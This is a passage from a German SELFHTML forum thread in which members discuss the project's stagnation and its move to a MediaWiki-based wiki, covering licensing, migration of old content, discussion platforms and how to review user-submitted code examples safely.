                              Red' keinen Scheiß. Das Forum ist geil, nicht weniger :-)

                              Danke, aber darauf wollt ich nicht hinaus ;-)

                              再见,
                               克里斯蒂安

                              --
                              http://wwwtech.de/
                              Swen Wacker: Denn wer 'ne Blacklist hat, muss halt daran denken, dass er manches nicht sieht... und vor dem posten die Realitaet einschalten
                              Kompromisse und andere WiderlichkeitenHochzeit mit Flitterwochen
            2. Moin,

              Vielleicht kann man das auch anders sehen. Vom SELF-Team ist ja nicht mehr viel übrig. Der (aus meiner Sicht als Außenstehender, einzig) übrig gebliebene, der das technische Verständnis beziehungsweise die derzeitige Verantwortung hat, den reibungslosen Betrieb sicherstellen und zu planen, ist derzeit studiumsbedingt nicht wirklich verfügbar.

              Daraus kann man auch den Schluss ziehen, dass es ressourcenschonender sein könnte, sich eines technischen Dienstleisters zu bedienen und so die hohe zeitliche Belastung (auch im Sinne von "Bereitschaftsdiensten, ich habe nicht nur deshalb vor Christian I. und Christian II. immer ehrfurchtvoll den Hut gezogen) einzugrenzen.

              Das Wiki (oder was auch immer endlich die Lösung ist) wirn nicht besondere viel Traffic erzeugen. Es wäre nämlich Unfug zu glauben, dass mit dem Wechsel auf eine andere technische Basis und dem inhaltlichen Wechsel hin zu einer weitestgehenden Liberalisierung hinsichtlich der Möglichkeiten zur Mitarbeit bzw. Mitgestaltung auf einmal der Run auf das Projekt SELFHTML beginnt. So bekannt und so zentral und so wichtig ist das alles hier nämlich bestimmt nicht. Das wird alles erst nach und nach entwickeln, am Anfang vielleicht mit einer Bugwelle und dann im überschaubaren Kreis. Auch deshalb kann man im Zweifel irgendein Wiki mit möglichst eingängiger und allgemein bekannter Syntax (also Mediawiki(nah), das Angebot sollte m.E. auf alle Fälle niedrigschwellig sein) und gut ist. Die von Molily und anderen gemachten Vorschlägen zielen ja zudem nicht auf einen monilithischen Block bzw. eine Hauptdokumentzentrierte Arbeitsweise hin sondern gehen eher von einem bunten Strauß an Informationen, Sicht- und Arbeitsweisen aus. Auch das nimmt sehr viel Druck und Vorplanungsnotwendigkeiten aus der Sache. Das wird sich nach und nach entwickeln, vielleicht noch zweimal oder dreimal gemischt und durchgeknetet werden, bis der Teig dann die richtige Konsistenz hat und aufgeht.

              Einen Schnellschuss und dessen Folgen haben wir bereits erlebt.

              Du meinst damit nicht, der dreijährige Stillstand wäre Folge eines vermeintlichen Schnellschusses? Wenn nein, dann sind Stefan Hinweise hier interessant.

              Grüße

              Swen

              1. Hi!

                Einen Schnellschuss und dessen Folgen haben wir bereits erlebt.
                Du meinst damit nicht, der dreijährige Stillstand wäre Folge eines vermeintlichen Schnellschusses? Wenn nein, dann sind Stefan Hinweise hier interessant.

                Die Sachlage wird sich nicht so einfach klären lassen. Da kommt viel zueinander, die Ereignisse im Vorfeld, die zu einer Zerrüttung des Redaktionsteams führten, das Nicht-Aufeinander-Zugehen-Können oder -Wollen. Wie auch immer, die Erklärungsversuche, die von den beteiligten Seiten kommen, werden erfahrungsgemäß mehr oder weniger subjektiv gefärbt sein. Die Frage ist aber vielmehr, wie gelingt die Wende? Demokratisch, diktatorisch oder anarchisch? Vielleicht irgendwo in der Mitte.

                Lo!

                1. Hallo,

                  Die Sachlage wird sich nicht so einfach klären lassen. Da kommt viel zueinander, die Ereignisse im Vorfeld, die zu einer Zerrüttung des Redaktionsteams führten, das Nicht-Aufeinander-Zugehen-Können oder -Wollen. Wie auch immer, die Erklärungsversuche, die von den beteiligten Seiten kommen, werden erfahrungsgemäß mehr oder weniger subjektiv gefärbt sein. Die Frage ist aber vielmehr, wie gelingt die Wende? Demokratisch, diktatorisch oder anarchisch? Vielleicht irgendwo in der Mitte.

                  Naja, interne Querelen und Vereinsmeierei behindern die Prozesse doch eher und interessieren solche, die Inhalte beisteuern wollen, doch wenig. Die Frage ist doch weniger nach irgendwelchen vermeintlichen weltanschaulichen Grundformen sondern eher nach einem (Wiki-)System, zu dem möglichst viele Interessierte möglichst unkompliziert etwas beisteuern können. Da gilt es, wie bei Wikipedia, eher, den Weg zu finden, Qualität zu kontrollieren ohne zu sehr zu zensieren. Und auch die Möglichkeiten zu erweitern, zB. als Qualtitätskontrolleur mitarbeiten zu können.

                  Gruß

                  jobo

          2. Wenn es nun nicht alles bietet -- ist es dann vielleicht möglich, sich im eigenen Kopf mal so zu bewegen, dass man im Rahmen der Möglichkeiten eine Lösung findet?

            Warum, wenn es bereits andere Lösungen gibt, viel besser passen? :) Wenn es ohne Verrenkungen geht, warum sich verrenken mussen?

            In dem Testwiki benötige ich jedenfalls keine mehrdimensionalen Namensräume und komme gut klar so. URL-Beispiele:

            Mehrdimensionale Namensräume würde man auch nicht brauchen, lediglich eine hierarchische Gliederung wie im aktuellen SELFHTML - die sprechenden URLs lassen so jedenfalls zu wünschen übrig.

            Nun gehört das natürlich zu all den Dingen, bei denen ich mir überhaupt nix gedacht habe, weil ich das alles völlig unüberlegt in zwei Tagen da hingehackt habe.

            Ja, so siehts aus :) man muss daraus keine Wissenschaft machen - aber zumidnest die URLs sollten sich nicht ändern und die derzeitige Struktur sollte halbwegs passend 1:1 abgebildet werden können.

            Open-Souce, Selbsthostbar, Kostenlos, UTF-8-Support, regelmäßige Updates

            Das hab' ich nicht bezweifelt, darum würde ich sie auf jeden fall in die engere Wahl nehmen ;)

            Aber egal. Das SELF-Team will sich in Ruhe entscheiden, wobei man allerdings auch dieses "das müssen wir erst mal klären, und dann teilen wir euch mit was herausgekommen ist" in Frage stellen könnte.

            Darum hab' ich ja auch erwähnt, dass die engeren Kandidaten nochmal öffentlich angesprochen werden sollten - es gibt sicher einige hier, die praktische Wrfahrungen mit verschiedenen Wikis gemacht haben (sowohl auf Autorenseite alsauch auf der technischen Seite). Die SELFHTML-Leute sind schließlich auch nicht allwissend.

            Eure Entscheidung, ob ihr davon Gebrauch macht, oder lieber die Nase über dieses popelige Wikidot rümpft.

            Ich sehe das von dir eingerichtet Wikidot-Wiki als Spielwiese um zu testen, wie es sich "anfühlt". Wie sich MediaWiki anfühlt werden die meisten hier wohl von der Wikipedia kennen. Ggf. kennen noch einige das TracWiki aus dem SELFHTML-Trac.

            Auch das ist imho ein wichtiger Aspekt bei der Auswahl. Wenn du dir Klamotten kaufst, gehts ja auch nicht nur darum ob sie dir gefallen, wenn du dich darin nicht wohl fühlst, ist der schönste Anzug für die Katz'.

          3. Hallo Stefan,

            dein Ansatz greift aus meiner Sicht das Probelem richtig auf. Es ist schwierig, auf flexible Art zu dem Projekt beizusteuern.

            Ich hatte seinerzeit mal versucht, stille Mitgliedschaft im Verein anzuregen, um so vielleicht auch meine Bereitschaft zu dokumentieren, das Projekt im Kleinen finanziell zu sponsorn. Wäre ich Sponsor, wäre aber auch eine kleine offizielle Plakette auf meiner Webseite wie "offizieller SELFHTML-Sponsorer" "nett".

            Auch hab ich zweimal mitgelesen, wie Vorschläge für Artikel eher zähneknirschend kommentiert wurden, als wenn man das nicht wirklich wolle.

            Artikel können ja unter Umständen nur im Wikistil "wachsen", wenn sie nicht aus einem Guss und unwiederbringlich im "klassischen old-school-stil" eingestellt werden. Ich habe jetzt nur ein paar Kommentare hier gelesen (suit und dedlfix zu deinem zB) und das "reicht" mir eigentlich schon. Ich hatte dich ja seinerzeit mal gelöchert, warum du dich explizit von selfhtml distanziert hast und hatte den eindruck, dass Du dich da auch im Zuge der neuen Entwicklungen (twitter und co.) weiter entwickelt hast, während selfhtml ein bissel auf der Stelle steht (mein Witz ist ja immer der Verweis auf Framesets in der Doku: "Frames eröffnen völlig neue Möglichkeiten, um Information hypertextuell (d.h. nichtlinear) aufzubereiten."

            Das Forum, bis auf den letzten 1.April-Joke, find ich sensationell. Aber vielleicht ist genau der letzte 1.Arpil-Joke und die Diskussion darum eine Art Metapher für das psychologische Problem dahinter.

            Gestorben wird aus meiner Sicht so schnell nicht, veraltet und verstaubt wirds bei den rasanten Entwicklungen im Netz aber schnell, vermutlich.

            Gruß

            jobo

    6. Hallo Mathias,

      nach dem ersten Lesen Deines Postings war ich geschockt. Ich möchte in dem Gefühl einen Schritt vortreten und um Raison ersuchen.

      Was ist ein erfolgreiches Projekt zur Dokumentation von Webtechniken?

      - Es erläutert die aktuellen Standards.
       - Es verdeutlicht diese mit nachvollziehbaren Beispielen.
       - Es strukturiert seine zu transportierenden Informationen themenunabhängig/-übergreifend einheitlich.

      Das ist für mich Aufgabe einer Dokumentation. Ich setze eine Dokumentation also mit bspw. einem Handbuch für ein Motherboard gleich, denn es geht um das Transportieren von Informationen. Erfolg ließe sich meiner Meinung nach nur daran messen. Lese ich mir demgegenüber aber Deine Definition durch, scheint sie mir von völlig artfremden Streben nach Anerkennung geleitet zu sein. Das erlangen/anbieten von Information und nicht ein Beliebtheitswettbewerb sollte hier Motiv sein. Ich bitte Dich!

      Für mich erscheinen auch Deine weiteren Aussagen als absolut unbeständig und dem Auf und Ab von Moden des WWW folgend, aber dabei das eigentliche Motiv völlig aus den Augen verloren zu haben. Wann wäre es dann so weit, dass saisonal andere Farben fürs Layout gesetzt werden müssten, weil die Mode es erzwänge?

      Gruß aus Berlin!
      eddi

      1. Hi Edgar.

        Was ist ein erfolgreiches Projekt zur Dokumentation von Webtechniken?

        • Es erläutert die aktuellen Standards.
        • Es verdeutlicht diese mit nachvollziehbaren Beispielen.
        • Es strukturiert seine zu transportierenden Informationen themenunabhängig/-übergreifend einheitlich.

        Das waere dann eine Dokumentation von Standards. Aber keine Dokumentation von Webtechniken. Oder?

        Dokumentationen fuer die verschiedenen Standards gibt es. Ein Projekt wie SelfHTML ist dann interessant, wenn es (darueberhinaus) Diskussion und Information zu gaengiger Praxis der Webentwicklung, Design-Patterns, beteiligter Software u.s.w., und auch der Entwicklung von Webstandards und Software in der Zukunft liefert. Und dadurch, wenn gute Leute im Boot sind, diese Entwicklungen auch mitgestaltet.

        Und fuer das alles ist es notwendig, dass das Projekt sich *staendig* erweitert und entwickelt. Wenn SelfHTML nur eine statische Dokumentation von Webstandards waere, waere es uninterssant. Egal, ob SelfHTML 8, SelfHTML 9 oder SelfHTML 37.

        Finde ich.

        Viele Gruesse,
        der Bademeister

        1. Hallo,

          Was ist ein erfolgreiches Projekt zur Dokumentation von Webtechniken?

          • Es erläutert die aktuellen Standards.
          • Es verdeutlicht diese mit nachvollziehbaren Beispielen.
          • Es strukturiert seine zu transportierenden Informationen themenunabhängig/-übergreifend einheitlich.

          Das waere dann eine Dokumentation von Standards. Aber keine Dokumentation von Webtechniken. Oder?

          Oh ja. Ich hatte da auch eine andere Vorstellung, was unter Webtechniken zuverstehen ist. Aber dennoch wäre dann mein erster Punkt ganz ähnlich:

          - Es erläuter die aktuellen Standard und Webtechniken.

          Dokumentationen fuer die verschiedenen Standards gibt es. Ein Projekt wie SelfHTML ist dann interessant, wenn es (darueberhinaus) Diskussion und Information zu gaengiger Praxis der Webentwicklung, Design-Patterns, beteiligter Software u.s.w., und auch der Entwicklung von Webstandards und Software in der Zukunft liefert. Und dadurch, wenn gute Leute im Boot sind, diese Entwicklungen auch mitgestaltet.

          Es spricht von meiner Seite aus ja nichts dagegen, sich neben Webservern auch mit verschiedenen CMS auseinander zu setzen. Nur Impliziert bereits der Name des Projekts ein von dem sehr deutlich abweichendes Ziel.

          Gruß aus Berlin!
          eddi

      2. Ich denke, meine Botschaft ist bei den Adressaten angekommen und wird dort diskutiert werden.

        Keine Angst, Edgar. Ich bin sofort wieder weg. Hatte nicht vor, lange zu bleiben. Will hier schließlich niemand schocken und Unvernunft verbreiten.

        Mathias

  13. Hallo Leute!

    Wir haben uns in unseren wöchentlichen Redaktionschat über die aktuelle Lage und die Ideen aus diesem Thread unterhalten und haben dabei einiges aufgegriffen. Hier nun der aktuelle Stand.

    Um es kurz zu fassen: Wir halten ein Wiki durchaus für eine gute Sache. Die Vorteile liegen klar auf der Hand: Jeder kann mitmachen, wenn er möchte, neue Einträge werden ohne Umwege über eine Redaktion publiziert und die Einarbeitung in das Wiki sollte wesentlich schneller möglich sein als in unsere bestehende SDML-Infrastruktur. Natürlich ist ein Wiki nicht perfekt, vor allem da SELFHTML-spezifische Erweiterungen fehlen. Diese können aber später ergänzt werden sobald eine kritische Masse erreicht ist.

    Nach langem Überlegen erschien uns die Mediawiki-Software die vorerst beste Wahl zu sein, weil:
     - sie oft verwendet wird (→ stärkere Community)
     - sie frei ist
     - die Mediawiki-Syntax durch Wikipedia u.ä. bereits einer großen Masse bekannt ist
     - zahlreiche Erweiterungen verfügbar sind.

    Natürlich ist das nicht der Weisheit letzter Schluss, doch irgendwo muss man anfangen. Letztendlich ist die Software an sich egal, solange sie die Hauptfunktion - das Schreiben des Inhalts - gut unterstützt. Intern haben wir nun bereits ein Mediawiki eingerichtet, welches wir nach kurzer Bearbeitung (Infos für Neulinge, Anlegen wichtiger Kategorien und der Basisstruktur, Lizenz-Festlegung etc.) bereits freigeben wollen.

    Dazu brauchen wir eure Mithilfe:
     - Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.
     - Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?
     - Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?
     - Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze? Die Beispiele müssen zwar nicht ab sofort verfügbar sein, sind aber für später ziemlich wichtig.
     - Vorschläge für Mediawiki-Extensions, die wir installieren sollten?
     - Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

    Wir sind sehr gespannt auf euer Feedback. Sobald die grundsätzlichen Fragen beantwortet sind wollen wir das Wiki freischalten. :-)

    Freundliche Grüße

    Marc Reichelt || http://www.marcreichelt.de/

    SELFHTML e.V.

    --
    DPRINTK("Last time you were disconnected, how about now?");
            linux-2.6.6/drivers/net/tokenring/ibmtr.c
    Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
    1. Hallo,

      Intern haben wir nun bereits ein Mediawiki eingerichtet, welches wir nach kurzer Bearbeitung (Infos für Neulinge, Anlegen wichtiger Kategorien und der Basisstruktur, Lizenz-Festlegung etc.) bereits freigeben wollen.

      • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

      braucht es da noch eine zusätzliche Diskussionsplattform? Ich finde, dass Diskussionen mit Beteiligung Außenstehender hier ganz gut aufgehoben wären (evtl. in einem neuen Themenbereich "SELFHTML-WIKI"). Diskussionen über interne Themen (Betrieb, Betreuung, grundsätzliche Marschrichtung) würde ich im bereits bestehenden Redaktionsforum ansiedeln.

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Egal welcher Ansatz - es bedeutet Arbeit.
      Entweder muss jemand[tm] ab und zu das klassische SELFHTML durchsehen und Kapitel, die im Wiki bereits vorliegen und dort mindestens den gleichen Informationsgehalt haben, in der alten SELFHTML-Doku löschen (durch einen Link auf den Wiki-Artikel ersetzen).
      Oder man müsste in der Startphase das bisherige SELFHTML komplett ins Wiki übertragen, was vermutlich auch nicht zu 100% automatisiert ablaufen kann. Okay, bei diesem Ansatz würde die Arbeit nicht kontinuierlich anfallen, sondern als Block am Start. Das könnte ein Vorteil sein.

      • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze?

      Wäre es denkbar, dass solche Beispiele zunächst funktionslos in einer Art Sandbox hinterlegt werden, und erst von einem Redakteur gesichtet werden müssen, bevor sie aktiv geschaltet werden?

      Wir sind sehr gespannt auf euer Feedback. Sobald die grundsätzlichen Fragen beantwortet sind wollen wir das Wiki freischalten. :-)

      Ich habe mich bisher bewusst aus der Diskussion rausgehalten, freue mich aber, dass es jetzt doch eine Wiki-Lösung wird. Auch unter der Prämisse, vielleicht irgendwann festzustellen, dass der Ansatz nicht optimal war.

      Ciao,
       Martin

      --
      Liebet eure Feinde - vielleicht schadet das ihrem Ruf.
      1. Hi!

        Oder man müsste in der Startphase das bisherige SELFHTML komplett ins Wiki übertragen, was vermutlich auch nicht zu 100% automatisiert ablaufen kann. Okay, bei diesem Ansatz würde die Arbeit nicht kontinuierlich anfallen, sondern als Block am Start. Das könnte ein Vorteil sein.

        Hatte da nicht Christian Seiler schon mal ein System geschrieben, das das Bestehende halbwegs automatisch umformen kann? Wenn sich das einsetzen lässt, muss man ja nicht viel Arbeit mit der händischen Konvertierung binden. (Diesen Weg hatte ich in meiner Antwort nicht berücksichtigt, wäre aber auch zumindest bedenkenswert.)

        • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze?

        Wäre es denkbar, dass solche Beispiele zunächst funktionslos in einer Art Sandbox hinterlegt werden, und erst von einem Redakteur gesichtet werden müssen, bevor sie aktiv geschaltet werden?

        Eine Sandbox muss ja nicht unbedingt sein. Den Code kontextgerecht in eine Webseite oder als Wikitext einzubinden, sollte nicht das Problem darstellen. So kann zumindest öffentlich gesichtet und diskutiert werden. Die letztliche Freischaltung sollte aber schon irgendwer mit ein wenig Verantwortung übernehmen. (Wie müsste die Sandbox denn prinzipiell funktionieren, dass man mehr als nur den Source-Code zu Gesicht bekommt, es aber keinen Schaden auf dem Server und im Browser anrichten kann? Virtuelle Maschine mit Remote-Desktop-Bedienung?)

        Lo!

        1. Mahlzeit,

          • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). [...]
            Wäre es denkbar, dass solche Beispiele zunächst funktionslos in einer Art Sandbox hinterlegt werden, und erst von einem Redakteur gesichtet werden müssen, bevor sie aktiv geschaltet werden?
            Eine Sandbox muss ja nicht unbedingt sein.

          nein, hast Recht. Der Ausdruck "Sandbox" war schlecht gewählt, ist irreführend und beschreibt nicht das, was ich eigentlich meinte.
          Ich wollte darauf hinaus, dass man Anzeigebeispiele zunächst nur als ...

          Code kontextgerecht in eine Webseite oder als Wikitext

          ... hineinschreibt, so dass ein Nutzer ihn als Quelltext sieht, mehr nicht.

          Die letztliche Freischaltung sollte aber schon irgendwer mit ein wenig Verantwortung übernehmen.

          So hatte ich das gemeint: Freischaltung in dem Sinn, dass der Code dann auch interpretiert wird und so "funktioniert", wie er gemeint ist.

          Wie müsste die Sandbox denn prinzipiell funktionieren, dass man mehr als nur den Source-Code zu Gesicht bekommt, es aber keinen Schaden auf dem Server und im Browser anrichten kann? Virtuelle Maschine mit Remote-Desktop-Bedienung?

          Ich glaube, das wäre dann *richtig* aufwendig.

          Ciao,
           Martin

          --
          F: Was ist schlimmer: Alzheimer oder Parkinson?
          A: Parkinson. Lieber mal ein Bier vergessen zu zahlen, als eins verschütten.
          1. Lieber Martin,

            wie denkst Du in dieser Sache über meinen Vorschlag?

            Liebe Grüße,

            Felix Riesterer.

            --
            ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
      2. Hallo Martin,

        braucht es da noch eine zusätzliche Diskussionsplattform? Ich finde, dass Diskussionen mit Beteiligung Außenstehender hier ganz gut aufgehoben wären (evtl. in einem neuen Themenbereich "SELFHTML-WIKI"). Diskussionen über interne Themen (Betrieb, Betreuung, grundsätzliche Marschrichtung) würde ich im bereits bestehenden Redaktionsforum ansiedeln.

        Das mit den internen Diskussionen ist klar. Dein Ansatz gefällt mir: Zentrale Themen werden im Standard-Forum diskutiert. Eventuell könnte man die Diskussionsplattform des Wikis bei einzelnen Artikeln verwenden, wenn es um Lemmata geht. Ich glaube dedlfix hat das vorgeschlagen.

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

        Egal welcher Ansatz - es bedeutet Arbeit.

        Logisch. Die Frage ist aber, welchen Weg man geht - wenn man sich für den falschen entscheidet, war die Arbeit zumindest teilweise umsonst.

        Entweder muss jemand[tm] ab und zu das klassische SELFHTML durchsehen und Kapitel, die im Wiki bereits vorliegen und dort mindestens den gleichen Informationsgehalt haben, in der alten SELFHTML-Doku löschen (durch einen Link auf den Wiki-Artikel ersetzen).
        Oder man müsste in der Startphase das bisherige SELFHTML komplett ins Wiki übertragen, was vermutlich auch nicht zu 100% automatisiert ablaufen kann. Okay, bei diesem Ansatz würde die Arbeit nicht kontinuierlich anfallen, sondern als Block am Start. Das könnte ein Vorteil sein.

        Das könnte es. Allerdings ist es trotzdem ein Kraftakt, und danach hat man erst mal nichts weiter als ein SELFHTML 8.1.2 in neuem Gewand. Ich persönlich bin sogar eher dafür, 8.1.2 so stehen zu lassen und das Wiki Stück für Stück um Inhalte ergänzen. Sobald ein Teil fertig ist kann man so einen Link auf die entsprechende Seite von 8.1.2 hinzufügen, sodass das Wiki Stück für Stück 8.1.2 ergänzen - und irgendwann hoffentlich ersetzen - kann.

        Wäre es denkbar, dass solche Beispiele zunächst funktionslos in einer Art Sandbox hinterlegt werden, und erst von einem Redakteur gesichtet werden müssen, bevor sie aktiv geschaltet werden?

        Das wäre denkbar. Ich habe mir Gedanken um eine FTP-Lösung gemacht. Diese wäre IMHO am schnellsten realisierbar, sicher und am flexibelsten. Dafür muss man das Wiki nämlich nicht (oder kaum) um eigene Funktionen erweitern.

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
    2. Hi!

      Wir haben uns in unseren wöchentlichen Redaktionschat über die aktuelle Lage und die Ideen aus diesem Thread unterhalten und haben dabei einiges aufgegriffen.

      Wäre es eine gute Idee, den Redaktionschat(termin) öffentlich (bekannt) zu machen? Oder vielleicht einen zweiten öffentlichen Termin einzurichten? Könnte im Anschluss oder vor dem Inner-Circle-Chat stattfinden. (Wenn es überhaupt getrennt werden muss. Ich weiß ja nicht, was ihr da nicht öffentliches zu besprechen habt.)

      • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

      Neben der Nutzungslizenz wäre die Frage nach der Miturheberschaft zu klären. Wie muss man UrhG § 8 Miturheber auslegen. Kann einer allein das gesamte Projekt stoppen? Oder ist es als ein Mitmach-Werk schon in seiner Natur ein veränderliches Werk und somit nicht von einzelnen Miturhebern gravierend in seinen Verwertungsrechten beeinträchtigbar? Muss man sich den Satz (4) bestätigen lassen? Oder ist das alles ganz anders zu sehen?

      • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

      Den Komfort vor allem der individuellen Einstellbarkeit des CForums einzubüßen wäre in meinen Augen ein gravierender Nachteil.

      Ein weiteres Problem sehe ich bei einer Verzettelung der Diskussionen in verschiedenen Medien. Ich sehe das schon beim Bestehenden. Da gibt es neben dem Forum noch die Kommentarfunktion des Blogs, und schon hat man zwei Disskussionsstränge, die sich wenig miteinander abgleichen oder querverbinden (lassen). Andererseits ist eine Diskussion über ein bestimmtes Lemma auch gut in der jeweiligen Diskussionsseite aufgehoben.

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Verlinken und fachlich durchgesehene und gegebenenfalls überarbeitete Versionen übertragen, wäre aus meiner Sicht ideal. Das lässt sich aber bei einem Massenmitmachsystem kaum durchsetzen. Jeder versteht unter Durchsehen sicher was anderes. Aber das wäre vielleicht kein Problem, denn das Überarbeiten-Können läuft ja in einem Wiki nicht weg. Der Mittelweg könnte sein, zunächst nur verlinken, eine Vorlage für die künftige Struktur einer Dokumentationsseite bereitzustellen, und die Mitarbeiter dazu anzuhalten, bei einer Übernahme wenigstens den Inhalt in die neue Form zu bringen.

      • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze?

      Sichtung von kritischem Material. Der Rest, der sich kontextgerecht gefahrlos einbinden lässt, kann ja gleich veröffentlicht werden.

      • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

      Wie schon irgendwo in diesem Faden geschrieben, fände ich es netter - da die Mitwirkenden im Prinzip Kenntnisse von HTML haben (sollten) und deshalb nicht auf die dem Konzept nach einfachere Wikisyntax angewiesen sind - wenn man eben die Inhalte gleich in HTML erstellen könnte. Sicherheitsbedenken? Nun, beim hiesigen Blog gehts auch, und ich denke/hoffe nicht, dass es da unsicher gelöst ist.

      Lo!

        • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

        Wie schon irgendwo in diesem Faden geschrieben, fände ich es netter - da die Mitwirkenden im Prinzip Kenntnisse von HTML haben (sollten) und deshalb nicht auf die dem Konzept nach einfachere Wikisyntax angewiesen sind - wenn man eben die Inhalte gleich in HTML erstellen könnte. Sicherheitsbedenken? Nun, beim hiesigen Blog gehts auch, und ich denke/hoffe nicht, dass es da unsicher gelöst ist.

        Ich habe zwar keine WIKI Erfahrung, kann da aber nicht ganz beipflichten.
        Ich fände es wohl gut, wenn es eine Bibliothek von Shortcuts gibt.
        Angenommen, du hast ein Element, das alle Browsersymbole anzeigen soll, für die eine Eigenschaft gilt, so wäre eine vereinfachte Syntax möglich.

        Dokumentieren musst du ja sowieso. Ob du nun das typische HTML Element und die Klassen beschreibst oder eben
        [[browser-support:MSIE8, FF35, OP10]]

        Letztes hat den Vorteil, dass es dir die Möglichkeit belässt, die HTML-Umsetzung global zu ändern, nicht nur im WIKI.

        Nur konsistent sollte die gewählte Syntax bleiben.

        mfg Beat

        --
        ><o(((°>           ><o(((°>
           <°)))o><                     ><o(((°>o
        Der Valigator leibt diese Fische
        1. Hi!

          Angenommen, du hast ein Element, das alle Browsersymbole anzeigen soll, für die eine Eigenschaft gilt, so wäre eine vereinfachte Syntax möglich.

          Dokumentieren musst du ja sowieso. Ob du nun das typische HTML Element und die Klassen beschreibst oder eben
          [[browser-support:MSIE8, FF35, OP10]]

          Das sieht gut aus, als eine Art Makro, um sich Wiederkehrendes zu sparen. Das kann man mit HTML allein so natürlich nicht in dieser kompakten Form.

          Letztes hat den Vorteil, dass es dir die Möglichkeit belässt, die HTML-Umsetzung global zu ändern, nicht nur im WIKI.

          Das war vermutlich auch einer der wichtigen Gründe, für die Entscheidung mit SDML die Inhalte auszuzeichnen und nicht nur mit HTML die Dokumentstruktur zu beschreiben.

          HTML im Wiki allein ist also nicht die Antwort auf mein Ansinnen, die Wiki-typische "Klammeritis-Syntax" einzudämmen.

          Vielleicht mach ich mir einfach nur zu viel Sorgen, dass aus der Wikisyntax am Ende ein "unleserlicher" HTML-Codebrei draus wird. Zugegeben, ich kenne das nur näher von PMWiki (in einer mittlerweile auch schon wieder historischen Version) und da sieht der Code nicht unbedingt so aus, das man das einem Lernenden als gutes Beispiel vorlegen kann. Oder vielleicht gerade? "Schau mal, so sieht automatisch generierter Code aus. Wenn man deinen Code unaufwendig warten können soll, schreib ihn lieber ordentlicher." :-)

          Nur konsistent sollte die gewählte Syntax bleiben.

          Dafür, keine Frage.

          Lo!

          1. HTML im Wiki allein ist also nicht die Antwort auf mein Ansinnen, die Wiki-typische "Klammeritis-Syntax" einzudämmen.

            Ich habe die [[syntax]] hier gewählt, weil sie in Wikis verbreitet ist.
            Ich selbst verwende eine ganze einfache [p:c] Syntax auf meinen eigenen Seiten. Oder bei mehreren optionen:
            [p:
              [o1:c]
              [o2:c]
            ]
            Lässt sich immer schön formatieren.

            Unglücklich finde ich den Wildwuchs im Forum. Zum Beispiel mit dem @title im <>

            Auch braucht es für so was klare Regeln, wie ich den Code selbst darstellen kann, also maskiere. Bei mir geht es mit [demo:wert].

            Der Vorteil davon ist, dass man sich eben Semantik definieren kann, die in HTML nur schwer zu erreichen ist.
